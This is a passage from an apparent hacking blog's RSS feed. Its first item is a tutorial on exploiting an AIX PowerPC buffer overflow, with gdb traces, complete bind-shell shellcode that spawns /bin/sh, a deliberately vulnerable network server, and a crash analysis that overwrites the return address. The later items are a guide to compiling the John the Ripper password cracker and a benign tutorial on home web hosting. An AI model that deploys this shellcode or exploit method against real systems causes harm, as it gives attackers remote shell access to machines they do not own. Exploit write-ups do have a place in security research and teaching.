0x10007450 &lt;bind+8&gt;: lwz r0,0(r12)
0x10007454 &lt;bind+12&gt;: lwz r2,4(r12)
0x10007458 &lt;bind+16&gt;: mtctr r0
0x1000745c &lt;bind+20&gt;: bctr
0x10007460 &lt;bind+24&gt;: .long 0x0
0x10007464 &lt;bind+28&gt;: .long 0xc8000
(gdb) si
0x1000744c in bind ()
(gdb)
0x10007450 in bind ()
(gdb)
0x10007454 in bind ()
(gdb)
0x10007458 in bind ()
(gdb) p/x $r2
$2 = 0x8c
(gdb) c
Continuing.

Breakpoint 3, 0x1000746c in listen ()
(gdb) x/8i $pc
0x1000746c &lt;listen&gt;: lwz r12,36(r2)
0x10007470 &lt;listen+4&gt;: stw r2,20(r1)
0x10007474 &lt;listen+8&gt;: lwz r0,0(r12)
0x10007478 &lt;listen+12&gt;: lwz r2,4(r12)
0x1000747c &lt;listen+16&gt;: mtctr r0
0x10007480 &lt;listen+20&gt;: bctr
0x10007484 &lt;listen+24&gt;: .long 0x0
0x10007488 &lt;listen+28&gt;: .long 0xc8000
(gdb) si
0x10007470 in listen ()
(gdb)
0x10007474 in listen ()
(gdb)
0x10007478 in listen ()
(gdb)
0x1000747c in listen ()
(gdb) p/x $r2
$5 = 0x8b
(gdb) c
Continuing.

Breakpoint 4, 0x10007394 in naccept ()
(gdb) x/8i $pc
0x10007394 &lt;naccept&gt;: lwz r12,12(r2)
0x10007398 &lt;naccept+4&gt;: stw r2,20(r1)
0x1000739c &lt;naccept+8&gt;: lwz r0,0(r12)
0x100073a0 &lt;naccept+12&gt;: lwz r2,4(r12)
0x100073a4 &lt;naccept+16&gt;: mtctr r0
0x100073a8 &lt;naccept+20&gt;: bctr
0x100073ac &lt;naccept+24&gt;: .long 0x0
0x100073b0 &lt;naccept+28&gt;: .long 0xc8000
(gdb) si
0x10007398 in naccept ()
(gdb)
0x1000739c in naccept ()
(gdb)
0x100073a0 in naccept ()
(gdb)
0x100073a4 in naccept ()
(gdb) p/x $r2
$6 = 0x8a
(gdb) c
Continuing.

Breakpoint 5, 0x100074b4 in close ()
(gdb) x/8i $pc
0x100074b4 &lt;close&gt;: lwz r12,44(r2)
0x100074b8 &lt;close+4&gt;: stw r2,20(r1)
0x100074bc &lt;close+8&gt;: lwz r0,0(r12)
0x100074c0 &lt;close+12&gt;: lwz r2,4(r12)
0x100074c4 &lt;close+16&gt;: mtctr r0
0x100074c8 &lt;close+20&gt;: bctr
0x100074cc &lt;close+24&gt;: .long 0x0
0x100074d0 &lt;close+28&gt;: .long 0xc8000
(gdb) si
0x100074b8 in close ()
(gdb)
0x100074bc in close ()
(gdb)
0x100074c0 in close ()
(gdb)
0x100074c4 in close ()
(gdb) p/x $r2
$7 = 0xa0
(gdb) c
Continuing.

Breakpoint 6, 0x100074d8 in kfcntl ()
(gdb) x/8i $pc
0x100074d8 &lt;kfcntl&gt;: lwz r12,48(r2)
0x100074dc &lt;kfcntl+4&gt;: stw r2,20(r1)
0x100074e0 &lt;kfcntl+8&gt;: lwz r0,0(r12)
0x100074e4 &lt;kfcntl+12&gt;: lwz r2,4(r12)
0x100074e8 &lt;kfcntl+16&gt;: mtctr r0
0x100074ec &lt;kfcntl+20&gt;: bctr
0x100074f0 &lt;kfcntl+24&gt;: .long 0x0
0x100074f4 &lt;kfcntl+28&gt;: .long 0xc8000
(gdb) si
0x100074dc in kfcntl ()
(gdb)
0x100074e0 in kfcntl ()
(gdb)
0x100074e4 in kfcntl ()
(gdb)
0x100074e8 in kfcntl ()
(gdb) p/x $r2
$1 = 0x142

(gdb) c
Continuing.

Breakpoint 7, 0x10007328 in execve ()
(gdb) x/8i $pc
0x10007328 &lt;execve&gt;: lwz r12,0(r2)
0x1000732c &lt;execve+4&gt;: stw r2,20(r1)
0x10007330 &lt;execve+8&gt;: lwz r0,0(r12)
0x10007334 &lt;execve+12&gt;: lwz r2,4(r12)
0x10007338 &lt;execve+16&gt;: mtctr r0
0x1000733c &lt;execve+20&gt;: bctr
0x10007340 &lt;execve+24&gt;: .long 0x0
0x10007344 &lt;execve+28&gt;: .long 0xc8000
(gdb) si
0x1000732c in execve ()
(gdb)
0x10007330 in execve ()
(gdb)
0x10007334 in execve ()
(gdb)
0x10007338 in execve ()
(gdb) p/x $r2
$9 = 0x5
&lt;/execve+28&gt;&lt;/execve+24&gt;&lt;/execve+20&gt;&lt;/execve+16&gt;&lt;/execve+12&gt;&lt;/execve+8&gt;&lt;/execve+4&gt;&lt;/execve&gt;&lt;/kfcntl+28&gt;&lt;/kfcntl+24&gt;&lt;/kfcntl+20&gt;&lt;/kfcntl+16&gt;&lt;/kfcntl+12&gt;&lt;/kfcntl+8&gt;&lt;/kfcntl+4&gt;&lt;/kfcntl&gt;&lt;/close+28&gt;&lt;/close+24&gt;&lt;/close+20&gt;&lt;/close+16&gt;&lt;/close+12&gt;&lt;/close+8&gt;&lt;/close+4&gt;&lt;/close&gt;&lt;/naccept+28&gt;&lt;/naccept+24&gt;&lt;/naccept+20&gt;&lt;/naccept+16&gt;&lt;/naccept+12&gt;&lt;/naccept+8&gt;&lt;/naccept+4&gt;&lt;/naccept&gt;&lt;/listen+28&gt;&lt;/listen+24&gt;&lt;/listen+20&gt;&lt;/listen+16&gt;&lt;/listen+12&gt;&lt;/listen+8&gt;&lt;/listen+4&gt;&lt;/listen&gt;&lt;/bind+28&gt;&lt;/bind+24&gt;&lt;/bind+20&gt;&lt;/bind+16&gt;&lt;/bind+12&gt;&lt;/bind+8&gt;&lt;/bind+4&gt;&lt;/bind&gt;&lt;/socket+28&gt;&lt;/socket+24&gt;&lt;/socket+20&gt;&lt;/socket+16&gt;&lt;/socket+12&gt;&lt;/socket+8&gt;&lt;/socket+4&gt;&lt;/socket&gt;&lt;/pre&gt;OK, we found the syscall numbers in AIX 5.1 that we needed. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;socket=0x8d
bind=0x8c
listen=0x8b
naccept=0x8a
close=0xa0
kfcntl=0x142
execve=0x05
&lt;/pre&gt;We modify a little of LSD's shellcode. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;char lsd[] =
"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */
"\x40\x82\xff\xfd" /* bnel &lt;syscallcode&gt; */
"\x7e\xa8\x02\xa6" /* mflr r21 */
"\x3a\xc0\x01\xff" /* lil r22,0x1ff */
"\x3a\xf6\xfe\x2d" /* cal r23,-467(r22) */
"\x7e\xb5\xba\x14" /* cax r21,r21,r23 */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */

"\x05\x82\x53\xa0" /* syscall numbers */
"\x87\xa0\x01\x42" /* execve=0x05 close=0xa0 */
"\x8d\x8c\x8b\x8a" /* socket=0x8d bind=0x8c */
/* listen=0x8b naccept=0x8a */
/* kfcntl=0x142 */

"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca 0x0 */
"\x3a\xb5\xff\xf8" /* cal r21,-8(r21) */

"\x2c\x74\x12\x34" /* cmpi cr0,r20,0x1234 */
"\x41\x82\xff\xfd" /* beql &lt;bindsckcode&gt; */
"\x7f\x08\x02\xa6" /* mflr r24 */
"\x92\x98\xff\xfc" /* st r20,-4(r24) */
"\x38\x76\xfe\x03" /* cal r3,-509(r22) */
"\x38\x96\xfe\x02" /* cal r4,-510(r22) */
"\x98\x78\xff\xf9" /* stb r3,-7(r24) */
"\x7e\x85\xa3\x78" /* mr r5,r20 */
"\x88\x55\xff\xfc" /* lbz r2,-4(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7c\x79\x1b\x78" /* mr r25,r3 */
"\x38\x98\xff\xf8" /* cal r4,-8(r24) */
"\x38\xb6\xfe\x11" /* cal r5,-495(r22) */
"\x88\x55\xff\xfd" /* lbz r2,-3(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x38\x96\xfe\x06" /* cal r4,-506(r22) */
"\x88\x55\xff\xfe" /* lbz r2,-2(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x7e\x84\xa3\x78" /* mr r4,r20 */
"\x7e\x85\xa3\x78" /* mr r5,r20 */
"\x88\x55\xff\xff" /* lbz r2,-1(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7c\x79\x1b\x78" /* mr r25,r3 */
"\x3b\x56\xfe\x03" /* cal r26,-509(r22) */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x88\x55\xff\xf7" /* lbz r2,-9(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x7f\x23\xcb\x78" /* mr r3,r25 */
"\x7e\x84\xa3\x78" /* mr r4,r20 */
"\x7f\x45\xd3\x78" /* mr r5,r26 */
"\xa0\x55\xff\xfa" /* lhz r2,-6(r21) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x21" /* bctrl */
"\x37\x5a\xff\xff" /* ai. r26,r26,-1 */
"\x40\x80\xff\xd4" /* bge &lt;bindsckcode+120&gt; */

"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel &lt;shellcode&gt; */
"\x7f\xe8\x02\xa6" /* mflr r31 */
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x55\xff\xf4" /* lbz r2,-12(r21) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
"\x7e\xa9\x03\xa6" /* mtctr r21 */
"\x4e\x80\x04\x20" /* bctr */
"/bin/sh"
; 

int main() {
int jump[2]={(int)lsd,0};
((*(void (*)())jump)());
}
&lt;/shellcode&gt;&lt;/bindsckcode+120&gt;&lt;/bindsckcode&gt;&lt;/syscallcode&gt;&lt;/pre&gt;It seems good, let's try remote overflow. &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;/* server.c - overflow demo
*
* 2004.06.16
* san@nsfocus.com
*/

#include &lt;stdio.h&gt;
#include &lt;sys types.h=""&gt;
#include &lt;sys socket.h=""&gt;
#include &lt;netinet in.h=""&gt;

char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
//strcpy(s1,s);
memcpy(s1, s, size);
// There must be a syscall after overflow at least, otherwise I-cache will afflict you. ;-)
sync();
}

int main(int argc, char *argv[])
{
int s, c, ret, lBytesRead;
struct sockaddr_in srv;

s = socket(AF_INET, SOCK_STREAM, 0);
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons(4444);
srv.sin_family = AF_INET;

bind(s, &amp;amp;srv, sizeof(srv));
listen(s, 3);

c = accept(s,NULL,NULL);

while(1)
{
lBytesRead = recv(c, Buff, 1024, 0);
if(lBytesRead&amp;lt;=0) break;

printf("fd = %x recv %d bytes\n", c, lBytesRead);
overflow(Buff, lBytesRead); 

ret=send(c,Buff,lBytesRead,0);
if(ret&amp;lt;=0) break;
}

close(s);
close©;
}
&lt;/netinet&gt;&lt;/sys&gt;&lt;/sys&gt;&lt;/stdio.h&gt;&lt;/pre&gt;The debugs in remote and local buffer overflow are not different, and the key is to find the overflow point. You may need construct various network data structures in remote overflow.  The following is the debug process that uses gdb to find return address and the overflow buffer size.  -bash-2.05b$ gdb server GNU gdb 6.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-ibm-aix5.1.0.0"... (gdb) r Starting program: /home/san/server  Client connect to server and send overrun data.  -bash-2.05b$ telnet localhost 4444 Trying... Connected to localhost. Escape character is '^]'. ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD  Server side will receive a Segmentation fault.  Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) x/8x $r1 0x2ff22b58: 0x41424344 0x41424344 0x41424344 0x0d0a6648 0x2ff22b68: 0x00000000 0x20001000 0x20001110 0x0000005e  We must overwrite r1+8 that the value of lr register after function return. Then, all of the register like below: &lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;(gdb) i reg
r0 0x41424344 1094861636
r1 0x2ff22b58 804399960
r2 0x20001000 536875008
r3 0x1757180 24473984
r4 0x0 0
r5 0x2ff22ffc 804401148
r6 0xd032 53298
r7 0x0 0
r8 0x60000000 1610612736
r9 0x600045f0 1610630640
r10 0x0 0
r11 0x60003bca 1610628042
r12 0x2ff3b400 804500480
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c08 804400136
r16 0x2ff22c10 804400144
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000640 536872512
r29 0x10000000 268435456
r30 0x3 3
r31 0x41424344 1094861636
pc 0x41424344 1094861636
ps 0x4000d032 1073795122
cr 0x2a222828 706881576
lr 0x41424344 1094861636
ctr 0x0 0
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
&lt;/pre&gt;Tutorial How to Exploit Can U get on here : &lt;a href="http://black-mygo.blogspot.com/2011/02/aix-exploit_02.html"&gt;black-mygo.blogspot.com&lt;/a&gt;</description><link>http://black-mygo.blogspot.com/2011/02/tutorial-exploiting-aix-buffer.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-3060748632992063431</guid><pubDate>Tue, 25 Jan 2011 11:57:00 +0000</pubDate><atom:updated>2011-01-25T04:00:42.383-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Cracking Password</category><title>Compile John The Ripper 1.7.6 With Many Type HASH</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:ANd9GcT-wkaRURhHkGGqD93lKJgVRkS8P6mH9nRZPqQOtlfJUVVf4jdHiA" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t1.gstatic.com/images?q=tbn:ANd9GcT-wkaRURhHkGGqD93lKJgVRkS8P6mH9nRZPqQOtlfJUVVf4jdHiA" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Ok Silahkan Kalian Ikuti Petunjuk Dibawah ini :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;putin@x6292:/$ cd /tmp
putin@x6292:/tmp$ wget http://www.openwall.com/john/g/john-1.7.6.tar.gz
--2011-01-25 05:35:41-- http://www.openwall.com/john/g/john-1.7.6.tar.gz
Resolving http://www.openwall.com... 195.42.179.202
Connecting to http://www.openwall.com|195.42.179.202|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 832790 (813K) [application/x-tar]
Saving to: `john-1.7.6.tar.gz'

100%[==============================================================================&gt;] 832,790 718K/s in 1.1s 

2011-01-25 05:35:43 (718 KB/s) - `john-1.7.6.tar.gz' saved [832790/832790]

putin@x6292:/tmp$ tar xvzf john-1.7.6.tar.gz
john-1.7.6/
john-1.7.6/doc/
john-1.7.6/doc/EXAMPLES
john-1.7.6/doc/CHANGES
john-1.7.6/doc/CONFIG
[...]
john-1.7.6/src/DES_vec.pl
john-1.7.6/README
putin@x6292:/tmp$ wget http://www.openwall.com/john/contrib/john-1.7.6-jumbo-9.diff.gz
--2011-01-25 05:36:47-- http://www.openwall.com/john/contrib/john-1.7.6-jumbo-9.diff.gz
Resolving http://www.openwall.com... 195.42.179.202
Connecting to http://www.openwall.com|195.42.179.202|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 218658 (214K) [text/plain]
Saving to: `john-1.7.6-jumbo-9.diff.gz'

100%[==============================================================================&gt;] 218,658 429K/s in 0.5s 

2011-01-25 05:36:48 (429 KB/s) - `john-1.7.6-jumbo-9.diff.gz' saved [218658/218658]

putin@x6292:/tmp$ cd john-1.7.6
putin@x6292:/tmp/john-1.7.6$ gzip -dc ../john-1.7.6-jumbo-9.diff.gz | patch -p1
patching file doc/EPi.patch.README
patching file doc/HDAA_README
patching file doc/MARKOV
patching file doc/MD5_GENERIC
[...]
patching file src/x86-sse.S
patching file src/x86-sse.h
putin@x6292:/tmp/john-1.7.6$ cd src
putin@x6292:/tmp/john-1.7.6/src$ make
To build John the Ripper, type:
make clean SYSTEM
where SYSTEM can be one of the following:
linux-x86-64 Linux, x86-64 with SSE2 (best)
linux-x86-sse2 Linux, x86 with SSE2 (best if 32-bit)
linux-x86-mmx Linux, x86 with MMX
linux-x86-any Linux, x86
linux-alpha Linux, Alpha
linux-sparc Linux, SPARC 32-bit
linux-ppc32-altivec Linux, PowerPC w/AltiVec (best)
linux-ppc32 Linux, PowerPC 32-bit
linux-ppc64 Linux, PowerPC 64-bit
linux-ia64 Linux, IA-64
freebsd-x86-64 FreeBSD, x86-64 with SSE2 (best)
freebsd-x86-sse2 FreeBSD, x86 with SSE2 (best if 32-bit)
freebsd-x86-mmx FreeBSD, x86 with MMX
freebsd-x86-any FreeBSD, x86
freebsd-alpha FreeBSD, Alpha
openbsd-x86-64 OpenBSD, x86-64 with SSE2 (best)
openbsd-x86-sse2 OpenBSD, x86 with SSE2 (best if 32-bit)
openbsd-x86-mmx OpenBSD, x86 with MMX
openbsd-x86-any OpenBSD, x86
openbsd-alpha OpenBSD, Alpha
openbsd-sparc64 OpenBSD, SPARC 64-bit (best)
openbsd-sparc OpenBSD, SPARC 32-bit
openbsd-ppc32 OpenBSD, PowerPC 32-bit
openbsd-ppc64 OpenBSD, PowerPC 64-bit
openbsd-pa-risc OpenBSD, PA-RISC
openbsd-vax OpenBSD, VAX
netbsd-sparc64 NetBSD, SPARC 64-bit
netbsd-vax NetBSD, VAX
solaris-sparc64-cc Solaris, SPARC V9 64-bit, cc (best)
solaris-sparc64-gcc Solaris, SPARC V9 64-bit, gcc
solaris-sparcv9-cc Solaris, SPARC V9 32-bit, cc
solaris-sparcv8-cc Solaris, SPARC V8 32-bit, cc
solaris-sparc-gcc Solaris, SPARC 32-bit, gcc
solaris-x86-64-cc Solaris, x86-64 with SSE2, cc (best)
solaris-x86-64-gcc Solaris, x86-64 with SSE2, gcc
solaris-x86-sse2-cc Solaris 9 4/04+, x86 with SSE2, cc
solaris-x86-sse2-gcc Solaris 9 4/04+, x86 with SSE2, gcc
solaris-x86-mmx-cc Solaris, x86 with MMX, cc
solaris-x86-mmx-gcc Solaris, x86 with MMX, gcc
solaris-x86-any-cc Solaris, x86, cc
solaris-x86-any-gcc Solaris, x86, gcc
sco-x86-any-gcc SCO, x86, gcc
sco-x86-any-cc SCO, x86, cc
tru64-alpha Tru64 (Digital UNIX, OSF/1), Alpha
aix-ppc32 AIX, PowerPC 32-bit
macosx-x86-64 Mac OS X 10.5+, Xcode 3.0+, x86-64 with SSE2 (best)
macosx-x86-sse2 Mac OS X, x86 with SSE2
macosx-ppc32-altivec Mac OS X, PowerPC w/AltiVec (best)
macosx-ppc32 Mac OS X, PowerPC 32-bit
macosx-ppc64 Mac OS X 10.4+, PowerPC 64-bit
macosx-universal Mac OS X, Universal Binary (x86 + x86-64 + PPC)
hpux-pa-risc-gcc HP-UX, PA-RISC, gcc
hpux-pa-risc-cc HP-UX, PA-RISC, ANSI cc
irix-mips64-r10k IRIX, MIPS 64-bit (R10K) (best)
irix-mips64 IRIX, MIPS 64-bit
irix-mips32 IRIX, MIPS 32-bit
dos-djgpp-x86-mmx DOS, DJGPP, x86 with MMX
dos-djgpp-x86-any DOS, DJGPP, x86
win32-cygwin-x86-sse2 Win32, Cygwin, x86 with SSE2 (best)
win32-cygwin-x86-mmx Win32, Cygwin, x86 with MMX
win32-cygwin-x86-any Win32, Cygwin, x86
win32-mingw-x86-sse2 Win32, MinGW, x86 with SSE2 (best)
win32-mingw-x86-mmx Win32, MinGW, x86 with MMX
win32-mingw-x86-any Win32, MinGW, x86
beos-x86-sse2 BeOS, x86 with SSE2 (best)
beos-x86-mmx BeOS, x86 with MMX
beos-x86-any BeOS, x86
generic Any other Unix-like system with gcc
****KETERANGAN: pilih system kamu disini, misalnya linux kamu biasa 32bit dan pake intel pilih yg ini linux-x86-sse2
****misalnya linux kamu 64 bit pilih yg ini linux-x86-64
****liat aja itu keterangannya disebelah kanannya..
****kalo gak ngerti pilih generic
****ni ane dibawah pake nya yg linux-x86-sse2
putin@x6292:/tmp/john-1.7.6/src$ make clean linux-x86-sse2
rm -f ../run/john ../run/unshadow ../run/unafs ../run/unique ../run/undrop ../run/genmkvpwd ../run/mkvcalcproba ../run/calc_stat ../run/tgtsnarf ../run/john.bin ../run/john.com ../run/unshadow.com ../run/unafs.com ../run/unique.com ../run/undrop.com ../run/john.exe ../run/unshadow.exe ../run/unafs.exe ../run/unique.exe ../run/undrop.exe ../run/genmkvpwd.exe ../run/mkvcalcproba.exe ../run/calc_stat.exe ../run/john-mingw.exe ../run/unshadow.exe ../run/unafs.exe ../run/unique.exe ../run/undrop.exe ../run/genmkvpwd.exe ../run/mkvcalcproba.exe ../run/calc_stat.exe
rm -f ../run/john.exe john-macosx-* *.o *.bak core
rm -f detect bench generic.h arch.h tmp.s
cp /dev/null Makefile.dep
ln -sf x86-sse.h arch.h
make ../run/john ../run/unshadow ../run/unafs ../run/unique ../run/undrop ../run/genmkvpwd ../run/mkvcalcproba ../run/calc_stat ../run/tgtsnarf \
[...]
gcc -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include -DHAVE_CRYPT -funroll-loops calc_stat.c
gcc calc_stat.o -s -L/usr/local/lib -L/usr/local/ssl/lib -lcrypto -lm -lcrypt -o ../run/calc_stat
gcc -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include -DHAVE_CRYPT -funroll-loops tgtsnarf.c
gcc tgtsnarf.o -s -L/usr/local/lib -L/usr/local/ssl/lib -lcrypto -lm -lcrypt -o ../run/tgtsnarf
make[1]: Leaving directory `/tmp/john-1.7.6/src'
putin@x6292:/tmp/john-1.7.6/src$ cd ../run
putin@x6292:/tmp/john-1.7.6/run$ ./john --test
Benchmarking: Traditional DES [128/128 BS SSE2]... DONE
Many salts: 1682K c/s real, 1682K c/s virtual
Only one salt: 1441K c/s real, 1455K c/s virtual
[...]
[...]
[...]
&lt;/pre&gt;&lt;br /&gt;
perintah terakhir ./john --test itu dia melakukan benchmark sekaligus ngetes hash² yg disupport&lt;br /&gt;
john sudah siap beraksi &lt;br /&gt;
&lt;br /&gt;
kamu bisa pindahain direktori &lt;i&gt;&lt;u&gt;run&lt;/u&gt;&lt;/i&gt; ke tempat yg kamu suka...&lt;br /&gt;
misalnya klo ane, ane pindahin ke /home/putin/john&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;putin@x6292:/tmp/john-1.7.6/run$ cd /home/putin
putin@x6292:~$ sudo mv /tmp/john-1.7.6/run john
putin@x6292:~$ cd john
putin@x6292:~/john$ ./john --test
Benchmarking: Traditional DES [128/128 BS SSE2]... DONE
Many salts: 1677K c/s real, 1694K c/s virtual
Only one salt: 1416K c/s real, 1416K c/s virtual

Benchmarking: BSDI DES (x725) [128/128 BS SSE2]... DONE
Many salts: 55424 c/s real, 54875 c/s virtual
Only one salt: 54016 c/s real, 54016 c/s virtual

Benchmarking: FreeBSD MD5 [32/32]... DONE
Raw: 5495 c/s real, 5495 c/s virtual

Benchmarking: OpenBSD Blowfish (x32) [32/32]...
[...]
[...]
[...]
&lt;/pre&gt;&lt;br /&gt;
Selamat Mencoba yah.....&lt;br /&gt;
&lt;br /&gt;
edit:&lt;br /&gt;
ini command nya yg diatas, tapi tanpa output :&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;cd /tmp
wget http://www.openwall.com/john/g/john-1.7.6.tar.gz
tar xvzf john-1.7.6.tar.gz
wget http://www.openwall.com/john/contrib/john-1.7.6-jumbo-9.diff.gz
cd john-1.7.6
gzip -dc ../john-1.7.6-jumbo-9.diff.gz | patch -p1
cd src
make
make clean generic
cd ../run
./john --test&lt;/pre&gt;</description><link>http://black-mygo.blogspot.com/2011/01/compile-john-ripper-176-with-many-type.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-667083955411012992</guid><pubDate>Tue, 25 Jan 2011 11:15:00 +0000</pubDate><atom:updated>2011-01-25T03:16:33.933-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Web Design</category><title>Totorial Creating Webserver User Own PC</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t3.gstatic.com/images?q=tbn:ANd9GcT-w2shmGoAJ9RgnqbODaDR_HHgNyamWkYutgxjibKQuPlUQ9FNWA" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t3.gstatic.com/images?q=tbn:ANd9GcT-w2shmGoAJ9RgnqbODaDR_HHgNyamWkYutgxjibKQuPlUQ9FNWA" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
OK kita Mulai , Pertama" yang Harus Disiapkan Adalah :&lt;br /&gt;
&lt;br /&gt;
1. satu buah PC dengan OS xp, linuk, dll&lt;br /&gt;
&lt;br /&gt;
2. Modem ADSL dengan koneksi Speedy Unlimited ( ADSL Connection )&lt;br /&gt;
&lt;br /&gt;
3. XAMPP sebagai Localhost&lt;br /&gt;
&lt;br /&gt;
Dengan Asumsi kebutuhan perlenkapan diatas sudah terpasang dan koneksi&lt;br /&gt;
speedy atau ADSL Connection sudah jalan normal kita dapat membuat webhost sendiri dengan&lt;br /&gt;
bantuan XAMPP.&lt;br /&gt;
&lt;br /&gt;
Sekarang kita mulai memodifikasi konfigurasi modem untuk menjadikan&lt;br /&gt;
pc yang terhubung dengan adsl kita sebagai server yg meng-host&lt;br /&gt;
kebutuhan seperti yang saya sebut diatas (www, ftp, telnet, dan&lt;br /&gt;
lain-lain).&lt;br /&gt;
&lt;br /&gt;
1. login lah ke Modem ADSL Speedy anda&lt;br /&gt;
&lt;br /&gt;
2. ubahlah koneksi speedy di modem, yang awalnya PPPoE/PPPoA (dengan&lt;br /&gt;
user&amp;amp;password), Menjadi Bridge Mode (tanpa user &amp;amp; password)&lt;br /&gt;
&lt;br /&gt;
3. Simpan Konfigurasi Modem Anda&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sekarang untuk bisa mendapatkan ip dynamic dari speedy, kita beralih ke PC yang&lt;br /&gt;
terkoneksi dengan Speedy langsung atau yang terhubung melalui hub.&lt;br /&gt;
&lt;br /&gt;
4. bukalah Network Connection atau dengan meng-klik Start â€“ Settings â€“ Control Panel - Network Connections.&lt;br /&gt;
&lt;br /&gt;
5. Kemudian Buatlah Koneksi PPP dari Windows Anda untuk mendapatkan ip&lt;br /&gt;
dynamic dari speedy dengan mengklik Create a new connections dengan&lt;br /&gt;
username dan password Speedy ( ADSL Username &amp;amp; Password )&lt;br /&gt;
&lt;br /&gt;
6. Kemudian akan muncul Kotak isian&lt;br /&gt;
Username &amp;amp; Password, jika anda telah mengikuti langkah2 diatas&lt;br /&gt;
dengan benar, maka kotak yang muncul akan sudah terisi untuk kolom&lt;br /&gt;
username &amp;amp; password nya, Sekarang untuk melakukan Koneksi, tekan&lt;br /&gt;
CONNECT.&lt;br /&gt;
&lt;br /&gt;
7. Bila koneksi Speedy Anda Akan muncul 2 indikator&lt;br /&gt;
seperti gambar dibawah ini, dan bila di ipconfig via DOS, PC Anda&lt;br /&gt;
Mempunyai 2 IP Address, yaitu IP Local (private ip) dan IP dari Speedy&lt;br /&gt;
(public IP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dari Percobaan diatas, PC anda sekarang sudah&lt;br /&gt;
bisa di jadikan Server yang bisa dikenali dunia secara langsung, dalam&lt;br /&gt;
artian bisa meng-host banyak kebutuhan diantaranya www, ftp, email, dan&lt;br /&gt;
lain-lain, karena peran modem diatas hanyalah sebagai Bridging (tidak&lt;br /&gt;
memiliki IP dan sebagai penjembatan koneksi internet speedy Anda)&lt;br /&gt;
&lt;br /&gt;
Memperoleh dinamic DNS melalui DynDNS&lt;br /&gt;
&lt;br /&gt;
DynDNS ( Dynamic DNS) - &lt;a href="http://www.dyndns.com/"&gt;http://www.dyndns.com&lt;/a&gt;&lt;br /&gt;
Adalah penyedia DNS untuk dynamic dan static IP serta banyak Sub-Domain&lt;br /&gt;
yang bisa di gunakan secara bebas dan GRATIS, dalam artikel ini kita&lt;br /&gt;
akan membuat satu sub domain â€˜anda.subdomain.xxxâ€™ dengan puluhan&lt;br /&gt;
pilihan subdomain yang sudah tersedia di dyndns.com serta updating&lt;br /&gt;
secara berkala supaya domain selalu mengenali ip speedy anda yang&lt;br /&gt;
selalu berganti karena bersifat dinamis, serta software pendukung nya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
